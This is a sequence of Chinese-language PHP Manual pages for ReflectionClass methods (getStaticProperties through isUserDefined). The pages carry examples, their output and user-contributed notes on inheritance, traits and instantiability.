获取静态（static）属性

  • ? ReflectionClass::getStartLine
  • ReflectionClass::getStaticPropertyValue ?
  • PHP Manual
  • ReflectionClass
  • 获取静态（static）属性

ReflectionClass::getStaticProperties

(PHP 5, PHP 7)

ReflectionClass::getStaticProperties — 获取静态（static）属性

说明

public ReflectionClass::getStaticProperties ( void ) : array

获取静态（static）属性。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

静态（static）的属性，类型是 array。

参见

  • ReflectionClass::getStaticPropertyValue() - 获取静态（static）属性的值
  • ReflectionClass::setStaticPropertyValue() - 设置静态属性的值

User Contributed Notes

joao dot felipe dot c dot b at gmail dot com 24-Mar-2016 01:06
getStaticProperties return a set of the property itself. It's diferente from getProperties(ReflectionProperty::IS_STATIC) because it return a set of ReflectionProperty class.
jlennox @ google mail 08-May-2010 10:03
I had the need to recursive merge the results from a subclass with all of it's parents, and this was the resulting code:

<?php
function GetStaticPropertiesRecursive($class) {
    $currentClass = $class;
    $joinedProperties = array();
    do {
        $reflection = new ReflectionClass($class);
        $staticProperties = $reflection->getStaticProperties();
        foreach ($staticProperties as $name => $value) {
            if (is_array($value)) {
                if (isset($joinedProperties[$name]))
                    $joinedProperties[$name] = array_merge($value, $joinedProperties[$name]);
                else
                    $joinedProperties[$name] = $value;
            } else {
                if (isset($joinedProperties[$name]))
                    $joinedProperties[$name][] = $value;
                else
                    $joinedProperties[$name] = array($value);
            }
        }
    } while ($class = get_parent_class($class));
    return $joinedProperties;
}

Using this function:
class base {
    public static $Test = array("foo1", "foo2");
}
class sub extends base {
    public static $Test = "sub";
}

print_r(GetStaticPropertiesRecursive("sub"));
?>

That outputs:
Array
(
    [Test] => Array
        (
            [0] => foo1
            [1] => foo2
            [2] => sub
        )

)

The merge follows the rules of array_merge on duplicate keys.


获取静态（static）属性的值

  • ? ReflectionClass::getStaticProperties
  • ReflectionClass::getTraitAliases ?
  • PHP Manual
  • ReflectionClass
  • 获取静态（static）属性的值

ReflectionClass::getStaticPropertyValue

(PHP 5 >= 5.1.2, PHP 7)

ReflectionClass::getStaticPropertyValue — 获取静态（static）属性的值

说明

public ReflectionClass::getStaticPropertyValue ( string $name [, mixed &$def_value ] ) : mixed

获取这个类里静态（static）属性的值。

参数

name

静态属性的名称，来返回它的值。

def_value

假如类没有定义 name 的 static 属性，将返回一个默认值。 如果属性不存在，并且省略了此参数，将会抛出 ReflectionException 。

返回值

静态属性的值。

范例

Example #1 ReflectionClass::getStaticPropertyValue() 的基本用法

<?php
class Apple {
    public static $color = 'Red';
}

$class = new ReflectionClass('Apple');
var_dump($class->getStaticPropertyValue('color'));
?>

以上例程会输出：

string(3) "Red"

参见

  • ReflectionClass::getStaticProperties() - 获取静态（static）属性
  • ReflectionClass::setStaticPropertyValue() - 设置静态属性的值

User Contributed Notes

Antares 16-Aug-2011 07:11
It seems this method has a security level different from the getStaticProperties method.

If you make two classes A and B looking like

<?php
class A{
        protected static $static_var='foo';

        public function getStatic(){
           $class=new ReflectionClass($this);
           return $class->getStaticPropertyValue('static_var');
        }

        public function getStatic2(){
            $class=new ReflectionClass($this);
            $staticProps=$class->getStaticProperties();
            return $staticProps['static_var'];
        }

        public function __construct(){
              echo $this->getStatic2();
              echo $this->getStatic();
        }
}

class B extends A{
        protected static $static_var='foo2';

}
?>

Then the output will be an exception for the getStatic() call, when the getStatic2() will correctly return 'foo2';
Mauro Gabriel Titimoli 21-Jan-2010 12:05
If you want to change a static property of a variable class...

PHP 5.2
<?php
$reflection = new ReflectionClass($className);
$staticPropertyReference = & $reflection->getStaticPropertyValue($staticPropertyName);

$staticPropertyReference = 'new value';
?>

PHP 5.3
<?php
$className::$$classProperty
?>


返回 trait 别名的一个数组

  • ? ReflectionClass::getStaticPropertyValue
  • ReflectionClass::getTraitNames ?
  • PHP Manual
  • ReflectionClass
  • 返回 trait 别名的一个数组

ReflectionClass::getTraitAliases

(PHP 5 >= 5.4.0, PHP 7)

ReflectionClass::getTraitAliases — 返回 trait 别名的一个数组

说明

public ReflectionClass::getTraitAliases ( void ) : array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

返回了一个数组，新的方法名位于键中，原始名称（格式是 "TraitName::original"）位于数组的值中。 出现一个错误的情况下返回 NULL。

User Contributed Notes

dhairya dot coder at gmail dot com 10-Feb-2016 11:43
trait A {
    public function smallTalk() {
        echo 'a';
    }
    public function bigTalk() {
        echo 'A';
    }
}

class Apple{

    use A {
        A::bigTalk as talk;
    }
}

$obj=new ReflectionClass('Apple');
echo "<pre>";
var_dump($obj->getTraitAliases());
echo "</pre>";


返回这个类所使用 traits 的名称的数组

  • ? ReflectionClass::getTraitAliases
  • ReflectionClass::getTraits ?
  • PHP Manual
  • ReflectionClass
  • 返回这个类所使用 traits 的名称的数组

ReflectionClass::getTraitNames

(PHP 5 >= 5.4.0, PHP 7)

ReflectionClass::getTraitNames — 返回这个类所使用 traits 的名称的数组

说明

public ReflectionClass::getTraitNames ( void ) : array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

返回的数组的值包含了 trait 的名称。 出现错误的情况下返回 NULL。

User Contributed Notes

emulienfou at gmail dot com 30-Nov-2013 03:55
This remote return only the trait names from the current class.

If your class extends another class using your trait, you can't get the names. However, you can do something like :

<?php
$traitsNames = [];
$recursiveClasses = function ($class) use(&$recursiveClasses, &$traitsNames) {
    if ($class->getParentClass() != false) {
        $recursiveClasses($class->getParentClass());
    }
    else {
        $traitsNames = array_merge($traitsNames, $class->getTraitNames());
    }
};
$recursiveClasses($controllerClass);


返回这个类所使用的 traits 数组

  • ? ReflectionClass::getTraitNames
  • ReflectionClass::hasConstant ?
  • PHP Manual
  • ReflectionClass
  • 返回这个类所使用的 traits 数组

ReflectionClass::getTraits

(PHP 5 >= 5.4.0, PHP 7)

ReflectionClass::getTraits — 返回这个类所使用的 traits 数组

说明

public ReflectionClass::getTraits ( void ) : array

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

返回了一个数组，键是 trait 的名称，值是 trait 实例的 ReflectionClass。 出现错误的情况下返回 NULL。

User Contributed Notes

Anonymous 15-Jan-2015 04:03
Note that getTraits will NOT return any traits inherited from a parent.

This is currently viewed as the desired behavior.  See https://bugs.php.net/bug.php?id=61554


检查常量是否已经定义

  • ? ReflectionClass::getTraits
  • ReflectionClass::hasMethod ?
  • PHP Manual
  • ReflectionClass
  • 检查常量是否已经定义

ReflectionClass::hasConstant

(PHP 5 >= 5.1.2, PHP 7)

ReflectionClass::hasConstant — 检查常量是否已经定义

说明

public ReflectionClass::hasConstant ( string $name ) : bool

检查类中是否已经定义了指定的常量。

参数

name

要被检查的常量名称。

返回值

如果已定义返回 TRUE，否则返回 FALSE。

范例

Example #1 ReflectionClass::hasConstant() 例子

<?php
class Foo {
    const c1 = 1;
}

$class = new ReflectionClass("Foo");

var_dump($class->hasConstant("c1"));
var_dump($class->hasConstant("c2"));
?>

以上例程的输出类似于：

bool(true)
bool(false)

参见

  • ReflectionClass::hasMethod() - 检查方法是否已定义
  • ReflectionClass::hasProperty() - 检查属性是否已定义

User Contributed Notes

There are no user contributed notes for this page.


检查方法是否已定义

  • ? ReflectionClass::hasConstant
  • ReflectionClass::hasProperty ?
  • PHP Manual
  • ReflectionClass
  • 检查方法是否已定义

ReflectionClass::hasMethod

(PHP 5 >= 5.1.2, PHP 7)

ReflectionClass::hasMethod — 检查方法是否已定义

说明

public ReflectionClass::hasMethod ( string $name ) : bool

检查一个类中指定的方法是否已定义。

参数

name

要检查的方法的名称。

返回值

如果有这个方法返回 TRUE，否则返回 FALSE。

范例

Example #1 ReflectionClass::hasMethod() 例子

<?php
Class C {
    public function publicFoo() {
        return true;
    }

    protected function protectedFoo() {
        return true;
    }

    private function privateFoo() {
        return true;
    }

    static function staticFoo() {
        return true;
    }
}

$rc = new ReflectionClass("C");

var_dump($rc->hasMethod('publicFoo'));

var_dump($rc->hasMethod('protectedFoo'));

var_dump($rc->hasMethod('privateFoo'));

var_dump($rc->hasMethod('staticFoo'));

// C should not have method bar
var_dump($rc->hasMethod('bar'));

// Method names are case insensitive
var_dump($rc->hasMethod('PUBLICfOO'));
?>

以上例程会输出：

bool(true)
bool(true)
bool(true)
bool(true)
bool(false)
bool(true)

参见

  • ReflectionClass::hasConstant() - 检查常量是否已经定义
  • ReflectionClass::hasProperty() - 检查属性是否已定义

User Contributed Notes

dn dot permyakov at gmail dot com 08-May-2019 11:32
Trait methods can be seen by both actual and alias names

<?php

trait Sauce
{
    public function getSpicy()
    {
        return 'Cayenne';
    }
}

class Sandwich
{
    use Sauce {
        Sauce::getSpicy as getSweet;
    }
}

$class = new \ReflectionClass('Sandwich');
var_dump($class->hasMethod('getSweet'));
var_dump($class->hasMethod('getSpicy'));
?>
bool(true)
bool(true)
Xorifelse 22-Dec-2016 01:23
It might be interesting to know that this is the only method to determine if a trait has a specific method:

  trait a{
    function __wakeup(){}
  }

  class b{}

  class c{
    use a;
  }

  var_dump((new ReflectionClass('a'))->hasMethod('__wakeup')); // true
  var_dump((new ReflectionClass('b'))->hasMethod('__wakeup')); // false
  var_dump((new ReflectionClass('c'))->hasMethod('__wakeup')); // true
flancer64 at gmail dot com 02-Aug-2016 10:50
Annotated methods that are implemented using PHP magic methods are not recognized  by "hasMethod".

<?php
/**
 * @method void annotatedMethod()
 */
class SomeClass
{
    public function __call($name, $arguments)
    {
        echo "this is magic method: $name.\n";
    }

    public function codedMethod()
    {
        echo "this is coded method.\n";
    }
}

$obj = new \SomeClass();
$obj->codedMethod();
$obj->annotatedMethod();

$ref = new ReflectionClass(\SomeClass::class);
echo "SomeClass has 'codedMethod': " . json_encode($ref->hasMethod('codedMethod')) . ".\n";
echo "SomeClass has 'annotatedMethod': " . json_encode($ref->hasMethod('annotatedMethod')) . ".\n";
?>

Output:

this is coded method.
this is magic method: annotatedMethod.
SomeClass has 'codedMethod': true.
SomeClass has 'annotatedMethod': false.
michaelgranados at gmail dot com 19-May-2012 02:47
A way to check if you can call an method over a class:

<?php
function is_public_method(
        /* string */$className,
        /* string */$method
){
    $classInstance = new ReflectionClass($className);
    if ($classInstance->hasMethod($method)) {
        return false;
    }
    $methodInstance = $instance->getMethod($method);
    return $methodInstance->isPublic();
}
?>
phoenix at todofixthis dot com 28-Oct-2010 09:47
Parent methods (regardless of visibility) are also available to a ReflectionObject.  E.g.,

<?php
class ParentObject {
  public function parentPublic(  ) {
  }

  private function parentPrivate(  ) {
  }
}

class ChildObject extends ParentObject {
}

$Instance = new ChildObject();
$Reflector = new ReflectionObject($Instance);

var_dump($Reflector->hasMethod('parentPublic'));  // true
var_dump($Reflector->hasMethod('parentPrivate')); // true
?>
hanguofeng at gmail dot com 20-Oct-2010 09:09
note that even if private method will also be 'has'.


检查属性是否已定义

  • ? ReflectionClass::hasMethod
  • ReflectionClass::implementsInterface ?
  • PHP Manual
  • ReflectionClass
  • 检查属性是否已定义

ReflectionClass::hasProperty

(PHP 5 >= 5.1.2, PHP 7)

ReflectionClass::hasProperty — 检查属性是否已定义

说明

public ReflectionClass::hasProperty ( string $name ) : bool

检查指定的属性是否已定义。

参数

name

待检查的属性的名称。

返回值

如果有这个属性返回 TRUE，否则返回 FALSE。

范例

Example #1 ReflectionClass::hasProperty() 例子

<?php
class Foo {
    public    $p1;
    protected $p2;
    private   $p3;

}

$obj = new ReflectionObject(new Foo());

var_dump($obj->hasProperty("p1"));
var_dump($obj->hasProperty("p2"));
var_dump($obj->hasProperty("p3"));
var_dump($obj->hasProperty("p4"));
?>

以上例程的输出类似于：

bool(true)
bool(true)
bool(true)
bool(false)

参见

  • ReflectionClass::hasConstant() - 检查常量是否已经定义
  • ReflectionClass::hasMethod() - 检查方法是否已定义

User Contributed Notes

rwilczek at web-appz dot de 13-Oct-2009 05:40
Note, that this method does not guarantee, that you can get a property with ReflectionClass::getProperty().

ReflectionClass::hasProperty() considers the parent classes (ignoring however, that a private property is not inherited), while ReflectionClass::getProperty() and ReflectionClass::getProperties() don't care about inheritance.

(Tested with PHP 5.3.0)

<?php
class Foo
{
    private $x;
}

class Bar extends Foo
{
    //
}

$foo = new ReflectionClass('Foo');
$bar = new ReflectionClass('Bar');

var_dump($foo->hasProperty('x'); // bool(true)
var_dump($bar->hasProperty('x'); // bool(true)

var_dump(get_class($foo->getProperty('x'))); //string(18) "ReflectionProperty"
try {
    $bar->getProperty('x');
} catch (ReflectionException $e) {
    echo $e->getMessage(); // Property x does not exist
}
?>


接口的实现

  • ? ReflectionClass::hasProperty
  • ReflectionClass::inNamespace ?
  • PHP Manual
  • ReflectionClass
  • 接口的实现

ReflectionClass::implementsInterface

(PHP 5, PHP 7)

ReflectionClass::implementsInterface — 接口的实现

说明

public ReflectionClass::implementsInterface ( string $interface ) : bool

检查它是否实现了一个接口（interface）。

参数

interface

接口（interface）的名称。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • ReflectionClass::isInterface() - 检查类是否是一个接口（interface）
  • ReflectionClass::isSubclassOf() - 检查是否为一个子类
  • interface_exists() - 检查接口是否已被定义
  • Object Interfaces

User Contributed Notes

jtunaley at gmail dot com 06-Jun-2018 10:22
Note that this method also returns true when the thing you're reflecting is the interface you're checking for:

<?php
interface MyInterface {}

$reflect = new ReflectionClass('MyInterface');
var_dump($reflect->implementsInterface('MyInterface')); // bool(true)
?>
keepchen2016 at gmail dot com 02-Jun-2017 08:49
interface Factory
{
    public function sayHello();
}

class ParentClass implements Factory
{
    public function sayHello()
    {
        echo "hello\n";
    }
}

class ChildrenClass extends ParentClass
{

}

$reflect = new ReflectionClass('ParentClass');
var_dump($reflect->implementsInterface('Factory'));

$second_ref = new ReflectionClass('ChildrenClass');
var_dump($second_ref->isSubclassOf('ParentClass'));

$third_ref = new ReflectionClass('Factory');
var_dump($third_ref->isInterface());

//can not be called as static
var_dump(ReflectionClass::isInterface('Factory'));
die;
//#result
bool(true)
bool(true)
bool(true)
PHP Fatal error:  Non-static method ReflectionClass::isInterface() cannot be called statically
dhairya dot coder at gmail dot com 11-Feb-2016 03:48
//checks that whether class Fruit implements interface apple or not

interface Apple {

    function taste();
}

class Fruit implements Apple {

    function taste() {
        echo "Seet";
    }
}

$obj=new ReflectionClass('Fruit');
var_dump($obj->implementsInterface('Apple'));  //Here it will checks that whether class Fruit implements interface apple or not


检查是否位于命名空间中

  • ? ReflectionClass::implementsInterface
  • ReflectionClass::isAbstract ?
  • PHP Manual
  • ReflectionClass
  • 检查是否位于命名空间中

ReflectionClass::inNamespace

(PHP 5 >= 5.3.0, PHP 7)

ReflectionClass::inNamespace — 检查是否位于命名空间中

说明

public ReflectionClass::inNamespace ( void ) : bool

检查这个类是否定义于一个命名空间中里。

参数

此函数没有参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 ReflectionClass::inNamespace() 例子

<?php
namespace A\B;

class Foo { }

$function = new \ReflectionClass('stdClass');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());

$function = new \ReflectionClass('A\\B\\Foo');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());
?>

以上例程会输出：

bool(false)
string(8) "stdClass"
string(0) ""
string(8) "stdClass"

bool(true)
string(7) "A\B\Foo"
string(3) "A\B"
string(3) "Foo"

参见

  • ReflectionClass::getNamespaceName() - 获取命名空间的名称
  • PHP Namespaces

User Contributed Notes

There are no user contributed notes for this page.


检查类是否是抽象类（abstract）

  • ? ReflectionClass::inNamespace
  • ReflectionClass::isAnonymous ?
  • PHP Manual
  • ReflectionClass
  • 检查类是否是抽象类（abstract）

ReflectionClass::isAbstract

(PHP 5, PHP 7)

ReflectionClass::isAbstract — 检查类是否是抽象类（abstract）

说明

public ReflectionClass::isAbstract ( void ) : bool

检查这个类是否是抽象类（abstract）。

参数

此函数没有参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 ReflectionClass::isAbstract() 例子

<?php
class          TestClass { }
abstract class TestAbstractClass { }

$testClass     = new ReflectionClass('TestClass');
$abstractClass = new ReflectionClass('TestAbstractClass');

var_dump($testClass->isAbstract());
var_dump($abstractClass->isAbstract());
?>

以上例程会输出：

bool(false)
bool(true)

参见

  • ReflectionClass::isInterface() - 检查类是否是一个接口（interface）
  • 类的抽象

User Contributed Notes

baptiste at pillot dot fr 10-Oct-2016 12:06
For interfaces and traits :

<?php
interface TestInterface { }
trait     TestTrait { }

$interfaceClass = new ReflectionClass('TestInterface');
$traitClass     = new ReflectionClass('TestTrait');

var_dump($interfaceClass->isAbstract());
var_dump($traitClass->isAbstract());
?>

Using PHP versions 5.4- to 5.6, the above example will output:

bool(false)
bool(true)

Using PHP versions 7.0+, the above example will output:

bool(false)
bool(false)


检查类是否是匿名类

  • ? ReflectionClass::isAbstract
  • ReflectionClass::isCloneable ?
  • PHP Manual
  • ReflectionClass
  • 检查类是否是匿名类

ReflectionClass::isAnonymous

(PHP 7)

ReflectionClass::isAnonymous — 检查类是否是匿名类

说明

public ReflectionClass::isAnonymous ( void ) : bool

检查类是否是匿名类。

参数

此函数没有参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 ReflectionClass::isAnonymous() example

<?php
class TestClass {}
$anonClass = new class {};

$normalClass = new ReflectionClass('TestClass');
$anonClass  = new ReflectionClass($anonClass);

var_dump($normalClass->isAnonymous());
var_dump($anonClass->isAnonymous());

?>

以上例程会输出：

bool(false)
bool(true)

参见

  • ReflectionClass::isFinal() - 检查类是否声明为 final

User Contributed Notes

There are no user contributed notes for this page.


返回了一个类是否可复制

  • ? ReflectionClass::isAnonymous
  • ReflectionClass::isFinal ?
  • PHP Manual
  • ReflectionClass
  • 返回了一个类是否可复制

ReflectionClass::isCloneable

(PHP 5 >= 5.4.0, PHP 7)

ReflectionClass::isCloneable — 返回了一个类是否可复制

说明

public ReflectionClass::isCloneable ( void ) : bool

返回了这个类是否可复制。

参数

此函数没有参数。

返回值

如果这个类可以复制返回 TRUE，否则返回 FALSE。

范例

Example #1 ReflectionClass::isCloneable() 的基本用法

<?php
class NotCloneable {
    public $var1;

    private function __clone() {
    }
}

class Cloneable {
    public $var1;
}

$notCloneable = new ReflectionClass('NotCloneable');
$cloneable = new ReflectionClass('Cloneable');

var_dump($notCloneable->isCloneable());
var_dump($cloneable->isCloneable());
?>

以上例程会输出：

bool(false)
bool(true)

User Contributed Notes

php at abiusx dot com 18-Aug-2016 04:29
This does not work for many of core-classes, just like most other reflection methods.


检查类是否声明为 final

  • ? ReflectionClass::isCloneable
  • ReflectionClass::isInstance ?
  • PHP Manual
  • ReflectionClass
  • 检查类是否声明为 final

ReflectionClass::isFinal

(PHP 5, PHP 7)

ReflectionClass::isFinal — 检查类是否声明为 final

说明

public ReflectionClass::isFinal ( void ) : bool

检查类是否声明为 final。

参数

此函数没有参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 ReflectionClass::isFinal() 例子

<?php
class       TestClass { }
final class TestFinalClass { }

$normalClass = new ReflectionClass('TestClass');
$finalClass  = new ReflectionClass('TestFinalClass');

var_dump($normalClass->isFinal());
var_dump($finalClass->isFinal());

?>

以上例程会输出：

bool(false)
bool(true)

参见

  • ReflectionClass::isAbstract() - 检查类是否是抽象类（abstract）
  • Final 关键字

User Contributed Notes

There are no user contributed notes for this page.


检查类的实例

  • ? ReflectionClass::isFinal
  • ReflectionClass::isInstantiable ?
  • PHP Manual
  • ReflectionClass
  • 检查类的实例

ReflectionClass::isInstance

(PHP 5, PHP 7)

ReflectionClass::isInstance — 检查类的实例

说明

public ReflectionClass::isInstance ( object $object ) : bool

检查对象是否为一个类的实例。

参数

object

待比较的对象。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 ReflectionClass::isInstance() 相关例子

<?php
// Example usage
$class = new ReflectionClass('Foo');

if ($class->isInstance($arg)) {
    echo "Yes";
}

// Equivalent to
if ($arg instanceof Foo) {
    echo "Yes";
}

// Equivalent to
if (is_a($arg, 'Foo')) {
    echo "Yes";
}
?>

以上例程的输出类似于：

Yes
Yes
Yes

参见

  • ReflectionClass::isInterface() - 检查类是否是一个接口（interface）
  • 类型运算符（instanceof）
  • 对象接口
  • is_a() - 如果对象属于该类或该类是此对象的父类则返回 TRUE

User Contributed Notes

dhairya lakhera 11-Feb-2016 04:55
class  TestClass { }

$TestObj=new TestClass();

$TestObj_assigned=$TestObj;
$TestObj_Refrenced=&$TestObj;
$TestObj_cloned=clone $TestObj;

$obj=new ReflectionClass('TestClass');

var_dump($obj->isInstance($TestObj));
var_dump($obj->isInstance($TestObj_assigned));
var_dump($obj->isInstance($TestObj_Refrenced));
var_dump($obj->isInstance($TestObj_cloned));


检查类是否可实例化

  • ? ReflectionClass::isInstance
  • ReflectionClass::isInterface ?
  • PHP Manual
  • ReflectionClass
  • 检查类是否可实例化

ReflectionClass::isInstantiable

(PHP 5, PHP 7)

ReflectionClass::isInstantiable — 检查类是否可实例化

说明

public ReflectionClass::isInstantiable ( void ) : bool

检查这个类是否可实例化。

参数

此函数没有参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 ReflectionClass::isInstantiable() 例子

<?php
class C { }

interface iface {
    function f1();
}

class ifaceImpl implements iface {
    function f1() {}
}

abstract class abstractClass {
    function f1() { }
    abstract function f2();
}

class D extends abstractClass {
    function f2() { }
}

class privateConstructor {
    private function __construct() { }
}

$classes = array(
    "C",
    "iface",
    "ifaceImpl",
    "abstractClass",
    "D",
    "privateConstructor",
);

foreach($classes  as $class ) {
    $reflectionClass = new ReflectionClass($class);
    echo "Is $class instantiable?  ";
    var_dump($reflectionClass->IsInstantiable());
}

?>

以上例程会输出：

Is C instantiable?  bool(true)
Is iface instantiable?  bool(false)
Is ifaceImpl instantiable?  bool(true)
Is abstractClass instantiable?  bool(false)
Is D instantiable?  bool(true)
Is privateConstructor instantiable?  bool(false)

参见

  • ReflectionClass::isInstance() - 检查类的实例

User Contributed Notes

shaun at slickdesign dot com dot au 19-Apr-2018 05:37
An example missing from the documentation is that `ReflectionClass::isInstantiable` will also return false for traits, as well as interfaces and abstract classes.

<?php
trait t {
    // Optional trait methods and properties etc.
}

$reflectionClass = new ReflectionClass("t");
var_dump($reflectionClass->isInstantiable()); // bool(false)
?>

As for classes with private constructors, it is still possible to create an instance by either bypassing the constructor using `ReflectionClass::newInstanceWithoutConstructor`, or by ensuring the class has a method which can create a new instance.

<?php
class p {
    private function __construct() {
        // Optional constructor logic - not called when ReflectionClass::newInstanceWithoutConstructor is used.
    }

    public static function create() {
        return new p;
    }

    // Optional methods and properties etc.
}

// Class is not classed as instantiable.
$reflectionClass = new ReflectionClass("p");
var_dump($reflectionClass->isInstantiable()); // bool(false)

// We're still able to create an instance using one of the two methods.
$p = p::create();
$p = $reflectionClass->newInstanceWithoutConstructor();
?>

The same is also true for protected constructors, however, the class can be instantiated from either parent or child methods, depending on where the constructor is defined.

<?php
class p {
    protected function __construct() {
        // Optional constructor logic.
    }

    public static function create( $class = "" ) {
        if (!$class) {
            $class = get_called_class();
        }
        return new $class;
    }

    // Optional parent methods and properties etc.
}

class c extends p
{
    // Optional child methods and properties etc.
}

// Both child and parent static methods have access to each other's protected constructor.
$p = c::create("p");
$c = p::create("c");

// Both are still not classed as being instantiable.
$reflectionClassP = new ReflectionClass("p");
$reflectionClassC = new ReflectionClass("c");
var_dump($reflectionClassP->isInstantiable()); // bool(false)
var_dump($reflectionClassC->isInstantiable()); // bool(false)

// We're still able to bypass the constructor and create an instance for each.
$p = $reflectionClassP->newInstanceWithoutConstructor();
$c = $reflectionClassC->newInstanceWithoutConstructor();
?>


检查类是否是一个接口（interface）

  • ? ReflectionClass::isInstantiable
  • ReflectionClass::isInternal ?
  • PHP Manual
  • ReflectionClass
  • 检查类是否是一个接口（interface）

ReflectionClass::isInterface

(PHP 5, PHP 7)

ReflectionClass::isInterface — 检查类是否是一个接口（interface）

说明

public ReflectionClass::isInterface ( void ) : bool

检查类是否是一个接口（interface）。

参数

此函数没有参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 ReflectionClass::isInterface() 基本用法

<?php
interface SomeInterface {
    public function interfaceMethod();
}

$class = new ReflectionClass('SomeInterface');
var_dump($class->isInterface());
?>

以上例程会输出：

bool(true)

参见

  • ReflectionClass::isInstance() - 检查类的实例

User Contributed Notes

There are no user contributed notes for this page.


检查类是否由扩展或核心在内部定义

  • ? ReflectionClass::isInterface
  • ReflectionClass::isIterable ?
  • PHP Manual
  • ReflectionClass
  • 检查类是否由扩展或核心在内部定义

ReflectionClass::isInternal

(PHP 5, PHP 7)

ReflectionClass::isInternal — 检查类是否由扩展或核心在内部定义

说明

public ReflectionClass::isInternal ( void ) : bool

检查类是否由扩展或核心在内部定义，与用户定义相反。

参数

此函数没有参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 ReflectionClass::isInternal() 的基本用法

<?php
$internalclass = new ReflectionClass('ReflectionClass');

class Apple {}
$userclass = new ReflectionClass('Apple');

var_dump($internalclass->isInternal());
var_dump($userclass->isInternal());
?>

以上例程会输出：

bool(true)
bool(false)

参见

  • ReflectionClass::isUserDefined() - 检查是否由用户定义的

User Contributed Notes

There are no user contributed notes for this page.


Check whether this class is iterable

  • ? ReflectionClass::isInternal
  • ReflectionClass::isIterateable ?
  • PHP Manual
  • ReflectionClass
  • Check whether this class is iterable

ReflectionClass::isIterable

(PHP 7 >= 7.2.0)

ReflectionClass::isIterable — Check whether this class is iterable

说明

public ReflectionClass::isIterable ( void ) : bool

Check whether this class is iterable (i.e. can be used inside foreach).

参数

此函数没有参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 Basic ReflectionClass::isIterable() Usage

<?php

class IteratorClass implements Iterator {
    public function __construct() { }
    public function key() { }
    public function current() { }
    function next() { }
    function valid() { }
    function rewind() { }
}
class DerivedClass extends IteratorClass { }
class NonIterator { }

function dump_iterable($class) {
    $reflection = new ReflectionClass($class);
    var_dump($reflection->isIterable());
}

$classes = array("ArrayObject", "IteratorClass", "DerivedClass", "NonIterator");

foreach ($classes as $class) {
    echo "Is $class iterable? ";
    dump_iterable($class);
}
?>

以上例程会输出：

Is ArrayObject iterable? bool(true)
Is IteratorClass iterable? bool(true)
Is DerivedClass iterable? bool(true)
Is NonIterator iterable? bool(false)

参见

  • ReflectionClass::__construct() - 初始化 ReflectionClass 类

User Contributed Notes

There are no user contributed notes for this page.


检查是否可迭代（iterateable）

  • ? ReflectionClass::isIterable
  • ReflectionClass::isSubclassOf ?
  • PHP Manual
  • ReflectionClass
  • 检查是否可迭代（iterateable）

ReflectionClass::isIterateable

(PHP 5, PHP 7)

ReflectionClass::isIterateable — 检查是否可迭代（iterateable）

说明

public ReflectionClass::isIterateable ( void ) : bool

检查一个类是否可迭代（iterateable）。

参数

此函数没有参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 ReflectionClass::isIterateable() 例子

<?php

class IteratorClass implements Iterator {
    public function __construct() { }
    public function key() { }
    public function current() { }
    function next() { }
    function valid() { }
    function rewind() { }
}
class DerivedClass extends IteratorClass { }
class NonIterator { }

function dump_iterateable($class) {
    $reflection = new ReflectionClass($class);
    var_dump($reflection->isIterateable());
}

$classes = array("ArrayObject", "IteratorClass", "DerivedClass", "NonIterator");

foreach ($classes as $class) {
    echo "Is $class iterateable? ";
    dump_iterateable($class);
}
?>

以上例程会输出：

Is ArrayObject iterateable? bool(true)
Is IteratorClass iterateable? bool(true)
Is DerivedClass iterateable? bool(true)
Is NonIterator iterateable? bool(false)

参见

  • ReflectionClass::__construct() - 初始化 ReflectionClass 类

User Contributed Notes

There are no user contributed notes for this page.


检查是否为一个子类

  • ? ReflectionClass::isIterateable
  • ReflectionClass::isTrait ?
  • PHP Manual
  • ReflectionClass
  • 检查是否为一个子类

ReflectionClass::isSubclassOf

(PHP 5, PHP 7)

ReflectionClass::isSubclassOf — 检查是否为一个子类

说明

public ReflectionClass::isSubclassOf ( string $class ) : bool

检查一个类是否为指定类的子类，或者实现了指定的接口。

参数

class

被检查的类名。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • ReflectionClass::isInterface() - 检查类是否是一个接口（interface）
  • ReflectionClass::implementsInterface() - 接口的实现
  • is_subclass_of() - 如果此对象是该类的子类，则返回 TRUE
  • get_parent_class() - 返回对象或类的父类名

User Contributed Notes

dhairya lakhera 11-Feb-2016 05:22
class A {}
class B {}
class C extends B {}

$obj=new ReflectionClass('C');

var_dump($obj->isSubclassOf ('A')); //boolean false
var_dump($obj->isSubclassOf ('B')); //boolean true


返回了是否为一个 trait

  • ? ReflectionClass::isSubclassOf
  • ReflectionClass::isUserDefined ?
  • PHP Manual
  • ReflectionClass
  • 返回了是否为一个 trait

ReflectionClass::isTrait

(PHP 5 >= 5.4.0, PHP 7)

ReflectionClass::isTrait — 返回了是否为一个 trait

说明

public ReflectionClass::isTrait ( void ) : bool

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

如果是 trait 返回 TRUE，否则返回 FALSE。 在出现错误的情况下，将会返回 NULL。

User Contributed Notes

There are no user contributed notes for this page.


检查是否由用户定义的

  • ? ReflectionClass::isTrait
  • ReflectionClass::newInstance ?
  • PHP Manual
  • ReflectionClass
  • 检查是否由用户定义的

ReflectionClass::isUserDefined

(PHP 5, PHP 7)

ReflectionClass::isUserDefined — 检查是否由用户定义的

说明

public ReflectionClass::isUserDefined ( void ) : bool

